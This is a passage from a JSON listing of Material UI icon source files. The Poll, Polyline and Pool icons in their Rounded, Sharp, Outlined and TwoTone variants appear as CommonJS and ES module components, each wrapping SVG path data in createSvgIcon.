    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v5c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'PollRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PollSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm6 14H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'PollSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PollSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm6 14H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'PollSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PollTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm10-6h2v4h-2zm-4-6h2v10h-2zm-4 3h2v7H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 10h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}, \"1\")], 'PollTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PollTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm10-6h2v4h-2zm-4-6h2v10h-2zm-4 3h2v7H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 10h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}, \"1\")], 'PollTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Polyline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16v1.26l-6-3v-3.17L11.7 8H16V2h-6v4.9L7.3 10H3v6h5l7 3.5V22h6v-6z\"\n}), 'Polyline');"
  },
  {
    "path": "packages/mui-icons-material/lib/Polyline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16v1.26l-6-3v-3.17L11.7 8H16V2h-6v4.9L7.3 10H3v6h5l7 3.5V22h6v-6z\"\n}), 'Polyline');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolylineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16v1.26l-6-3v-3.17L11.7 8H16V2h-6v4.9L7.3 10H3v6h5l7 3.5V22h6v-6zM12 4h2v2h-2zM7 14H5v-2h2zm12 6h-2v-2h2z\"\n}), 'PolylineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolylineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16v1.26l-6-3v-3.17L11.7 8H16V2h-6v4.9L7.3 10H3v6h5l7 3.5V22h6v-6zM12 4h2v2h-2zM7 14H5v-2h2zm12 6h-2v-2h2z\"\n}), 'PolylineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolylineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.04 6.85 7.3 10H4.5c-.83 0-1.5.67-1.5 1.5v3c0 .83.67 1.5 1.5 1.5h3c.14 0 .27-.02.39-.05L15 19.5v1c0 .83.67 1.5 1.5 1.5h3c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-3c-.75 0-1.37.55-1.48 1.27L9 14.26V11.5c0-.12-.01-.24-.04-.36L11.7 8h2.8c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-3c-.83 0-1.5.67-1.5 1.5v3c0 .12.01.24.04.35\"\n}), 'PolylineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolylineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.04 6.85 7.3 10H4.5c-.83 0-1.5.67-1.5 1.5v3c0 .83.67 1.5 1.5 1.5h3c.14 0 .27-.02.39-.05L15 19.5v1c0 .83.67 1.5 1.5 1.5h3c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-3c-.75 0-1.37.55-1.48 1.27L9 14.26V11.5c0-.12-.01-.24-.04-.36L11.7 8h2.8c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-3c-.83 0-1.5.67-1.5 1.5v3c0 .12.01.24.04.35\"\n}), 'PolylineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolylineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16v1.26l-6-3v-3.17L11.7 8H16V2h-6v4.9L7.3 10H3v6h5l7 3.5V22h6v-6z\"\n}), 'PolylineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolylineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16v1.26l-6-3v-3.17L11.7 8H16V2h-6v4.9L7.3 10H3v6h5l7 3.5V22h6v-6z\"\n}), 'PolylineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolylineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4h2v2h-2zM7 14H5v-2h2zm12 6h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16v1.26l-6-3v-3.17L11.7 8H16V2h-6v4.9L7.3 10H3v6h5l7 3.5V22h6v-6zM12 4h2v2h-2zM7 14H5v-2h2zm12 6h-2v-2h2z\"\n}, \"1\")], 'PolylineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolylineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4h2v2h-2zM7 14H5v-2h2zm12 6h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16v1.26l-6-3v-3.17L11.7 8H16V2h-6v4.9L7.3 10H3v6h5l7 3.5V22h6v-6zM12 4h2v2h-2zM7 14H5v-2h2zm12 6h-2v-2h2z\"\n}, \"1\")], 'PolylineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pool.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 21c-1.11 0-1.73-.37-2.18-.64-.37-.22-.6-.36-1.15-.36-.56 0-.78.13-1.15.36-.46.27-1.07.64-2.18.64s-1.73-.37-2.18-.64c-.37-.22-.6-.36-1.15-.36-.56 0-.78.13-1.15.36-.46.27-1.08.64-2.19.64s-1.73-.37-2.18-.64c-.37-.23-.6-.36-1.15-.36s-.78.13-1.15.36c-.46.27-1.08.64-2.19.64v-2c.56 0 .78-.13 1.15-.36.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.23.59.36 1.15.36s.78-.13 1.15-.36c.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.45-.27 1.07-.64 2.18-.64s1.73.37 2.18.64c.37.23.59.36 1.15.36zm0-4.5c-1.11 0-1.73-.37-2.18-.64-.37-.22-.6-.36-1.15-.36-.56 0-.78.13-1.15.36-.45.27-1.07.64-2.18.64s-1.73-.37-2.18-.64c-.37-.22-.6-.36-1.15-.36-.56 0-.78.13-1.15.36-.45.27-1.07.64-2.18.64s-1.73-.37-2.18-.64c-.37-.22-.6-.36-1.15-.36s-.78.13-1.15.36c-.47.27-1.09.64-2.2.64v-2c.56 0 .78-.13 1.15-.36.45-.27 1.07-.64 2.18-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36.56 0 .78-.13 1.15-.36.45-.27 1.07-.64 2.18-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.45-.27 1.07-.64 2.18-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36v2zM8.67 12c.56 0 .78-.13 1.15-.36.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.12-.07.26-.15.41-.23L10.48 5C8.93 3.45 7.5 2.99 5 3v2.5c1.82-.01 2.89.39 4 1.5l1 1-3.25 3.25c.31.12.56.27.77.39.37.23.59.36 1.15.36\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\")], 'Pool');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pool.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 21c-1.11 0-1.73-.37-2.18-.64-.37-.22-.6-.36-1.15-.36-.56 0-.78.13-1.15.36-.46.27-1.07.64-2.18.64s-1.73-.37-2.18-.64c-.37-.22-.6-.36-1.15-.36-.56 0-.78.13-1.15.36-.46.27-1.08.64-2.19.64s-1.73-.37-2.18-.64c-.37-.23-.6-.36-1.15-.36s-.78.13-1.15.36c-.46.27-1.08.64-2.19.64v-2c.56 0 .78-.13 1.15-.36.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.23.59.36 1.15.36s.78-.13 1.15-.36c.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.45-.27 1.07-.64 2.18-.64s1.73.37 2.18.64c.37.23.59.36 1.15.36zm0-4.5c-1.11 0-1.73-.37-2.18-.64-.37-.22-.6-.36-1.15-.36-.56 0-.78.13-1.15.36-.45.27-1.07.64-2.18.64s-1.73-.37-2.18-.64c-.37-.22-.6-.36-1.15-.36-.56 0-.78.13-1.15.36-.45.27-1.07.64-2.18.64s-1.73-.37-2.18-.64c-.37-.22-.6-.36-1.15-.36s-.78.13-1.15.36c-.47.27-1.09.64-2.2.64v-2c.56 0 .78-.13 1.15-.36.45-.27 1.07-.64 2.18-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36.56 0 .78-.13 1.15-.36.45-.27 1.07-.64 2.18-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.45-.27 1.07-.64 2.18-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36v2zM8.67 12c.56 0 .78-.13 1.15-.36.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.12-.07.26-.15.41-.23L10.48 5C8.93 3.45 7.5 2.99 5 3v2.5c1.82-.01 2.89.39 4 1.5l1 1-3.25 3.25c.31.12.56.27.77.39.37.23.59.36 1.15.36\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\")], 'Pool');"
  },
  {
    "path": "packages/mui-icons-material/lib/PoolOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 8-3.25 3.25c.31.12.56.27.77.39.37.23.59.36 1.15.36s.78-.13 1.15-.36c.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.12-.07.26-.15.41-.23L10.48 5C8.93 3.45 7.5 2.99 5 3v2.5c1.82-.01 2.89.39 4 1.5zm12 8.5h-.02zm-16.65-1c.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.06.63 2.16.64v-2c-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36v2c1.11 0 1.73-.37 2.2-.64.37-.23.6-.36 1.15-.36M18.67 18c-1.11 0-1.73.37-2.18.64-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.37.23-.59.36-1.15.36s-.78-.13-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.37.23-.59.36-1.15.36v2c1.11 0 1.73-.37 2.19-.64.37-.23.6-.36 1.15-.36s.78.13 1.15.36c.45.27 1.07.64 2.18.64s1.73-.37 2.19-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.72-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64v-2c-.56 0-.78-.13-1.15-.36-.45-.27-1.07-.64-2.18-.64\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\")], 'PoolOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PoolOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 8-3.25 3.25c.31.12.56.27.77.39.37.23.59.36 1.15.36s.78-.13 1.15-.36c.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.12-.07.26-.15.41-.23L10.48 5C8.93 3.45 7.5 2.99 5 3v2.5c1.82-.01 2.89.39 4 1.5zm12 8.5h-.02zm-16.65-1c.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.06.63 2.16.64v-2c-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36v2c1.11 0 1.73-.37 2.2-.64.37-.23.6-.36 1.15-.36M18.67 18c-1.11 0-1.73.37-2.18.64-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.37.23-.59.36-1.15.36s-.78-.13-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.37.23-.59.36-1.15.36v2c1.11 0 1.73-.37 2.19-.64.37-.23.6-.36 1.15-.36s.78.13 1.15.36c.45.27 1.07.64 2.18.64s1.73-.37 2.19-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.72-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64v-2c-.56 0-.78-.13-1.15-.36-.45-.27-1.07-.64-2.18-.64\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\")], 'PoolOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PoolRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.11 5.56C7.3 5.7 8.14 6.14 9 7l1 1-3.25 3.25c.31.12.56.27.77.39.37.23.59.36 1.15.36s.78-.13 1.15-.36c.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.12-.07.26-.15.41-.23L10.48 5C9.22 3.74 8.04 3.2 6.3 3.05 5.6 2.99 5 3.56 5 4.26v.09c0 .63.49 1.13 1.11 1.21m15.24 13.35c-.17-.06-.32-.15-.5-.27-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.37.23-.59.36-1.15.36s-.78-.13-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.18.11-.33.2-.5.27-.38.13-.65.45-.65.85v.12c0 .67.66 1.13 1.3.91.37-.13.65-.3.89-.44.37-.22.6-.35 1.15-.35s.78.13 1.15.36c.45.27 1.07.64 2.18.64s1.73-.37 2.19-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.72-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.23.14.51.31.88.44.63.22 1.3-.24 1.3-.91v-.12c0-.41-.27-.73-.65-.86M3.11 16.35c.47-.13.81-.33 1.09-.49.37-.23.6-.36 1.15-.36s.78.14 1.15.36c.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.23.14.5.3.85.43.63.23 1.31-.24 1.31-.91v-.12c0-.4-.27-.72-.64-.86-.17-.06-.32-.15-.51-.26-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.18.11-.33.2-.5.27-.38.13-.65.45-.65.85v.23c0 .58.55 1.02 1.11.86\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\")], 'PoolRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PoolRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.11 5.56C7.3 5.7 8.14 6.14 9 7l1 1-3.25 3.25c.31.12.56.27.77.39.37.23.59.36 1.15.36s.78-.13 1.15-.36c.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.12-.07.26-.15.41-.23L10.48 5C9.22 3.74 8.04 3.2 6.3 3.05 5.6 2.99 5 3.56 5 4.26v.09c0 .63.49 1.13 1.11 1.21m15.24 13.35c-.17-.06-.32-.15-.5-.27-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.37.23-.59.36-1.15.36s-.78-.13-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.18.11-.33.2-.5.27-.38.13-.65.45-.65.85v.12c0 .67.66 1.13 1.3.91.37-.13.65-.3.89-.44.37-.22.6-.35 1.15-.35s.78.13 1.15.36c.45.27 1.07.64 2.18.64s1.73-.37 2.19-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.72-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.23.14.51.31.88.44.63.22 1.3-.24 1.3-.91v-.12c0-.41-.27-.73-.65-.86M3.11 16.35c.47-.13.81-.33 1.09-.49.37-.23.6-.36 1.15-.36s.78.14 1.15.36c.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.23.14.5.3.85.43.63.23 1.31-.24 1.31-.91v-.12c0-.4-.27-.72-.64-.86-.17-.06-.32-.15-.51-.26-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.18.11-.33.2-.5.27-.38.13-.65.45-.65.85v.23c0 .58.55 1.02 1.11.86\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"5.5\",\n  r: \"2.5\"\n}, \"1\")], 'PoolRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PoolSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 8-3.25 3.25c.31.12.56.27.77.39.37.23.59.36 1.15.36s.78-.13 1.15-.36c.46-.27 1.08-.64 2.19-.64s1.73.37 2.18.64c.37.22.6.36 1.15.36s.78-.13 1.15-.36c.12-.07.26-.15.41-.23L10.48 5 5 3v2.5L9 7zm12 8.5h-.02zm-16.65-1c.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.73-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.06.63 2.16.64v-2c-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36-.55 0-.78-.14-1.15-.36-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.18.64c-.37.23-.59.36-1.15.36v2c1.11 0 1.73-.37 2.2-.64.37-.23.6-.36 1.15-.36M18.67 18c-1.11 0-1.73.37-2.18.64-.37.23-.6.36-1.15.36s-.78-.14-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.37.23-.59.36-1.15.36s-.78-.13-1.15-.36c-.45-.27-1.07-.64-2.18-.64s-1.73.37-2.19.64c-.37.23-.59.36-1.15.36v2c1.11 0 1.73-.37 2.19-.64.37-.23.6-.36 1.15-.36s.78.13 1.15.36c.45.27 1.07.64 2.18.64s1.73-.37 2.19-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64s1.72-.37 2.18-.64c.37-.23.59-.36 1.15-.36.55 0 .78.14 1.15.36.45.27 1.07.64 2.18.64v-2c-.56 